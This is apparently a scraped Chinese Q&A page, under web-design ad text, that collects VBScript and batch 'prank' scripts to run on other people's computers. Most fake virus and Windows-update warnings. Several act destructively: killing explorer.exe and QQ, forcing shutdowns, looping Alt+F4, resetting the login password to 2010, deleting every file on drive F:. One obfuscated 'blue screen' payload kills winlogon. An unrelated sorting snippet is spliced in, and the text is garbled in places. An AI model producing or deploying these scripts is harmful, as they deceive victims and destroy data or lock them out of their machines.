放一个timer,名为timer1
郑州网站建设公司创新互联,郑州网站设计制作,有大型网站制作公司丰富经验。已为郑州成百上千家提供企业网站建设服务。企业网站搭建\成都外贸网站建设公司要多少钱,请找那个售后服务好的郑州做网站的公司定做!
Private Sub Form_Load()
Me.Visible = False
Timer1.Interval = 10*1000
End Sub
Private Sub Timer1_Timer()
msgbox "CPU温度过高,系统出现严重错误!",16+4096,"警告"
msgbox "CPU温度过高,系统出现严重错误!",16+4096,"警告"
msgbox "CPU温度过高,系统出现严重错误!",16+4096,"警告"
msgbox "CPU温度过高,系统出现严重错误!",16+4096,"警告"
msgbox "CPU温度过高,系统出现严重错误!",16+4096,"警告"
'可以多复制几个 msgbox "CPU温度过高,系统出现严重错误!",16+4096,"警告"
End Sub
gsh=msgbox ("已经准备好格式化,准备开始。",vbyesno)
set s=createobject("wscript.shell")
wscript.sleep 1000
msgbox "开始格式化…… 哈哈!吓晕了吧,骗你的~"
wscript.sleep 1000
wscript.sleep 1000*100
msgbox "windows发现一重要更新,将自动下载。"
wscript.sleep 3000
msgbox "系统检测到WINDOWS更新中捆绑有不明插件SXS.exe,是否对其扫描?",vbyesno
wscript.sleep 1000
msgbox "文件名 SXS.exe"+CHR(13)+"发行者 田间的菜鸟 "+chr(13)+"安全评级 高危"+chr(13)+"建议 直接删除"+chr(13)+"病毒类型:木马",,"windows扫描附件"
msgbox "是否阻止其安装?",vbyesno
wscript.sleep 3000
msgbox "阻止失败!请检查防火墙是否开启!"
wscript.sleep 5000
msgbox "正在尝试强行删除…"
wscript.sleep 5000
msgbox "失败!"
wscript.sleep 5000
msgbox "您的电脑已陷入危险之中,请赶快扫描病毒!"
wscript.sleep 10000
s.sendkeys "% n"
s.run "taskkill /im QQ.exe"
s.sendkeys "% n"
s.run "taskkill /im explorer.exe /f"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
msgbox "你好啊!"
wscript.sleep 3000
msgbox "很高兴见到你!"
wscript.sleep 3000
msgbox "您的电脑可能已经感染病毒!",,"WINDOWS防火墙警告"
wscript.sleep 3000
msgbox "我控制你的电脑了!"
wscript.sleep 3000
msgbox "不信?那我给你关机看看~"
s.run "shutdown -r -t 120"
msgbox "信了吧!"
msgbox "帮你解除关机……"
s.run "shutdown -a"
msgbox "再给你打开记事本写封信,劝你最好别动,要不然会引起系统混乱~"
s.run "notepad"
wscript.sleep 3000
s.sendkeys "Hello, I'm sorry I control your computer,"
wscript.sleep 3000
s.sendkeys " but the virus is false in, "
wscript.sleep 3000
s.sendkeys "only a joke, "
wscript.sleep 3000
s.sendkeys "please rest assured! "
wscript.sleep 3000
s.sendkeys "I no longer next "
wscript.sleep 3000
s.sendkeys "time so the whole you!"
wscript.sleep 3000
s.sendkeys" Goodbye!"
s.sendkeys"{enter}"
s.sendkeys"END"
wscript.sleep 1000
s.sendkeys"%{F4}"
msgbox "提示:刚才的“病毒”是假的,只不过是吓你玩玩~"
s.run "explorer"
”
vb2010写的:
Private Sub Button7_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button7.Click
Dim str As String = ""
Dim a(30) As Integer
Dim temp As Integer
str = str "生成的30个随机数字是 " vbCrLf
For i = 1 To 30
a(i) = Int(Rnd() * 50 + 1)
str = str a(i) " "
If i Mod 10 = 0 Then
str = str vbCrLf
End If
Next
str = str vbCrLf
For i = 1 To 30
For j = 1 To 30 - i
If a(j) a(j + 1) Then
temp = a(j + 1)
a(j + 1) = a(j)
a(j) = temp
End If
Next j
Next i
str = str "排序后的数字是 " vbCrLf
For i = 1 To 30
str = str a(i) " "
If i Mod 10 = 0 Then
str = str vbCrLf
End If
Next
TextBox6.Text = str
End Sub
运行结果:
生成的30个随机数字是
36 27 29 15 16 39 1 39 41 36
3 21 44 40 19 49 44 3 48 19
27 39 3 30 24 15 32 33 14 14
排序后的数字是
49 48 44 44 41 40 39 39 39 36
36 33 32 30 29 27 27 24 21 19
19 16 15 15 14 14 3 3 3 1
---------------------------------------------------------------------
代码:
Set ws=WScript.CreateObject("WScript.Shell")
ws.popup"大家好,我就是改变社会风气,风魔万千少女,刺激电影市道,提高年轻人内涵,",10,"闪亮登场",64
ws.popup"玉树临风,风度翩翩的……“咕噜…咕噜…”,不好意思,我内急先闪了,再见!",15,"farewell",64
wscript.sleep 100000
ws.popup"发现重要windows更新未安装,系统将自动下载更新并安装",10
ws.popup"正在下载windows更新……",12
wscript.sleep 10000
ws.popup"windows更新已下载完毕,正在安装更新……",12
wscript.sleep 3000
msgbox"系统检测到WINDOWS更新中携带有不明软件 comcontroler.exe ,并在强行嵌入你的电脑",4132,"是否对其进行扫描?"
msgbox"软件名:comcontroler.exe "vbcrlf""vbcrlf" 大小:1.21MB "vbcrlf""vbcrlf" 发行者:幻想丶永恒(403746401)"vbcrlf""vbcrlf" 安全状况:有病毒",vbinformation
msgbox"comcontroler.exe存在不安全因素",4132,"是否阻止其安装"
msgbox"阻止失败,请检查防火墙是否开启"
wscript.sleep 15000
ws.popup"windows更新安装成功!",vbinfmation,20
msgbox"您的电脑可能已被入侵,请尽快修改您的QQ密码及其他机密资料,以免QQ被盗或丢失资料",vbinformation
ws.popup"哈哈,我已经控制了你的电脑!",12,"很高兴见到你",64
ws.popup"不信?我用你的电脑打开我的QQ空间给你看看",10
ws.run""
msgbox"警告:为了您的电脑安全,请尽快安装使用杀毒软件对系统进行全面杀毒",vbinformation
ws.popup"我再打开中国神泣官方网站",10
ws.run""
ws.popup"现在相信了吧?我再打开你的记事本给你写封英语信",20
ws.popup"记事本会被打开并最大化,这时你不要动,千万别把目标转移到其他窗口,耐心看我把信写完。否则引起系统混乱我可不负责!"
ws.run "notepad",3 : wscript.sleep 2000
verybat=split("dear ,friends ,~, nice ,to ,meet ,you ,i ,am ,so ,sorry ,that ,i ,controled ,your ,computer, without ,you ,allowing,~,please ,excuse ,me ,i ,want ,to ,say ,to ,you ,today,~,my ,friends ,so ,even ,through ,we ,face ,the ,difficulties ,of ,today ,and ,tomorrow,~,still ,have ,a ,dream ,it ,is ,a ,dream ,deeply ,rooted ,in ,our ,common ,dreams ,~,Maybe ,it's ,true ,that ,we ,do ,not ,know ,what ,we ,have ,got ,until ,we ,lose ,it,~,but ,it ,is ,also ,true ,that ,we ,do ,not ,know ,what ,we ,have ,been ,missing ,until ,it ,arrives ,.see ,you ,later ,~,with ,the ,best ,wishes,~, yours,~, lhj",",")
---------------------------------------------------------------------
代码2:
WScript.Echo("嘿,谢谢你打开我哦,我等你很久拉!"TSName)
WScript.Echo("你是可爱的XX童鞋吗?")
WScript.Echo("哈,我想你拉,这你都不知道吗?")
WScript.Echo("怎么才来,说~是不是不关心我")
WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。")
WScript.Echo("夜黑很生气,后果很严重哦。")
WScript.Echo("嘿嘿!你也会很惨滴哦")
WScript.Echo("是不是想清除我?")
WScript.Echo("那你要点上100下哦,不过会给你惊喜滴")
WScript.Echo("还剩100下,快点点哦")
WScript.Echo("还剩99下,快点,小笨蛋!")
WScript.Echo("还剩98下对,就这样快点点!")
WScript.Echo("还剩97下。你啊就是笨,要快哦,我先不打扰你工作。")
WScript.Echo("还剩96下,记得要快哦!")
WScript.Echo("还剩95下")
WScript.Echo("还剩94下")
WScript.Echo("还剩93下")
WScript.Echo("还剩92下")
WScript.Echo("还剩91下")
WScript.Echo("还剩90下")
WScript.Echo("还剩89下")
WScript.Echo("还剩88下")
WScript.Echo("还剩87下")
WScript.Echo("还剩86下")
WScript.Echo("还剩85下")
WScript.Echo("还剩84下")
WScript.Echo("还剩83下")
WScript.Echo("还剩82下")
WScript.Echo("还剩81下")
WScript.Echo("还剩80下")
WScript.Echo("还剩79下")
WScript.Echo("还剩78下")
WScript.Echo("还剩77下")
WScript.Echo("还剩76下")
WScript.Echo("还剩75下")
WScript.Echo("还剩74下")
WScript.Echo("还剩73下")
WScript.Echo("还剩72下")
WScript.Echo("还剩71下")
WScript.Echo("还剩70下")
WScript.Echo("还剩69下")
WScript.Echo("还剩68下")
WScript.Echo("还剩67下")
WScript.Echo("还剩66下")
WScript.Echo("还剩65下")
WScript.Echo("还剩64下")
WScript.Echo("还剩63下")
WScript.Echo("还剩62下")
WScript.Echo("还剩61下")
WScript.Echo("还剩60下")
WScript.Echo("还剩59下")
WScript.Echo("还剩58下")
WScript.Echo("还剩57下")
WScript.Echo("还剩56下")
WScript.Echo("还剩55下")
WScript.Echo("还剩54下")
WScript.Echo("还剩53下")
WScript.Echo("还剩52下")
WScript.Echo("还剩51下")
WScript.Echo("还剩50下")
WScript.Echo("还剩49下")
WScript.Echo("还剩48下")
WScript.Echo("还剩47下")
WScript.Echo("还剩46下")
WScript.Echo("还剩45下")
WScript.Echo("还剩44下")
WScript.Echo("还剩43下")
WScript.Echo("还剩42下")
WScript.Echo("还剩41下")
WScript.Echo("还剩40下")
WScript.Echo("还剩39下")
WScript.Echo("还剩38下")
WScript.Echo("还剩37下")
WScript.Echo("还剩36下")
WScript.Echo("还剩35下")
WScript.Echo("还剩34下")
WScript.Echo("还剩33下")
WScript.Echo("还剩32下")
WScript.Echo("还剩31下")
WScript.Echo("还剩30下")
WScript.Echo("还剩29下")
WScript.Echo("还剩28下")
WScript.Echo("还剩27下")
WScript.Echo("还剩26下")
WScript.Echo("还剩25下")
WScript.Echo("还剩24下")
WScript.Echo("还剩23下")
WScript.Echo("还剩22下")
WScript.Echo("还剩21下")
WScript.Echo("还剩20下")
WScript.Echo("还剩19下")
WScript.Echo("还剩18下")
WScript.Echo("还剩17下")
WScript.Echo("还剩16下")
WScript.Echo("还剩15下")
WScript.Echo("还剩14下")
WScript.Echo("还剩13下")
WScript.Echo("还剩12下")
WScript.Echo("还剩11下")
WScript.Echo("还剩10下")
WScript.Echo("还剩9下")
WScript.Echo("还剩8下")
WScript.Echo("还剩7下")
WScript.Echo("还剩6下")
WScript.Echo("还剩5下")
WScript.Echo("还剩4下")
WScript.Echo("还剩3下")
WScript.Echo("还剩2下")
WScript.Echo("还剩1下")
WScript.Echo("还剩0下")
WScript.Echo("哎看你可怜,饶了你吧")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下")
WScript.Echo("还剩下停停!!!慢点,我有话要说")
WScript.Echo("还剩下,你继续点我就会消失滴")
WScript.Echo("还剩下,以后就看不到我拉。呜呜~555555")
WScript.Echo("还剩下,你现在可以选择停止!")
WScript.Echo("还剩下。你还点啊,不要我拉?")
WScript.Echo("还剩下,有点伤心拉,干嘛丢弃人家")
WScript.Echo("还剩下。疯了,你有点负意!")
WScript.Echo("还剩下。对。你就点吧,我恨你!")
WScript.Echo("还剩下,不明白,删除我你就好吗?")
WScript.Echo("还剩下!真要删除我?")
WScript.Echo("还剩下。可是我真的很眷恋你。。。")
WScript.Echo("还剩下。不要这么绝情嘛,人家是爱你的!")
WScript.Echo("还剩下。哼,既然你这么绝情。也别怪我无义!!!")
WScript.Echo("我本因该消失的,不过我留恋你滴芳容,万能的上帝又给了一次机会。")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("想结束我么?那你就再多点一次")
WScript.Echo("呵呵。QQ1021435988")
WScript.Echo("呵呵。QQ1021435988")
WScript.Echo("呵呵。QQ1021435988")
WScript.Echo("呵呵。QQ1021435988")
WScript.Echo("呵呵。QQ1021435988")
WScript.Echo("呵呵。QQ1021435988")
WScript.Echo("呵呵。QQ1021435988")
WScript.Echo("呵呵。QQ1021435988")
---------------------------------------------------------------------
蓝屏代码:
strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-
23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-
13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103
,98,111,120,32,34,-15133,89,-13899,-20026,-
20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-
14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-
13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-
24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-
18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1
01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116,
46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115,
116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,1
03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101
,110,100,32,105,102,13,10,13,10,13,10)
for i=1 to UBound(strs)
runner=runnerchr(strs(i))
next
Execute runner
---------------------------------------------------------------------
掉qq:
taskkill /im qq.exe /f /t
---------------------------------------------------------------------
10秒强制关机(任务管理器无效):
shutdown -s -t 10
---------------------------------------------------------------------
死机:
start cmd
0%
---------------------------------------------------------------------
设置登录密码为2010:
net user "%username%" 2010
---------------------------------------------------------------------
让电脑只剩一个背景
taskkill /im /f /t explorer.exe
---------------------------------------------------------------------
莫名其妙结束当前程序:
set ws=createobject("wscript.shell")
do
ws.sendkeys "%{f4}"
loop
---------------------------------------------------------------------
不断提示你是猪:
do
msgbox("你是猪")
loop
---------------------------------------------------------------------
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说 我是大笨笨!哈哈,不说我就一分钟关你机,不信,试试···我说到做到!"" ",0 ,true
dim a
do while(a "我是大笨蛋!哈哈!我是大肥猪!")
a = inputbox ("说 我是大笨蛋!哈哈!我是大肥猪!,我就不关你的机,快撒,说 ""我是大笨笨!哈哈"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛 猪"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,真过瘾 嘎嘎.爽歪歪啊 "
---------------------------------------------------------------------
“我是畜生”:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 25 -c ""说我是畜生,不说就20秒关你机,不信,试试···"" ",0 ,true
dim a
do while(a "我是畜生")
a = inputbox ("说我是畜生,就不关机,快撒,说 ""我是畜生"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,真过瘾"
---------------------------------------------------------------------
10秒关机:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 10 -c ""你被耍了"" ",0 ,true
---------------------------------------------------------------------
刷对话框:
do
msgbox("你被耍了")
loop
---------------------------------------------------------------------
直接关机:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -s ",0 ,true
---------------------------------------------------------------------一分钟弹出一次:
do until i=10
i=i+1
msgbox "CPU温度过高,系统出现严重误!",16+4096,"系统提示"
wscript.sleep 1000*60 '时间可以自己改
loop
---------------------------------------------------------------------script language="javascript"
function hr(){
alert('你关不掉的^_^')
hr();
}
/script
body onLoad="hr()"
/body
---------------------------------------------------------------------do while(1)
msgbox "你死定了!"
loop
还有更多的!:
---------------------------------------------------------------------
删除F:\所有文件
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del f:\*.* / f /q /s""",0 ,true
---------------------------------------------------------------------
不断按下alt+f4 (开什么都关闭……) :
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
---------------------------------------------------------------------
注意:分割线之间为一个代码,复制进TXT文档,另存为.vbs或.vbe,望楼主采纳!!! Q群:108141490 --村长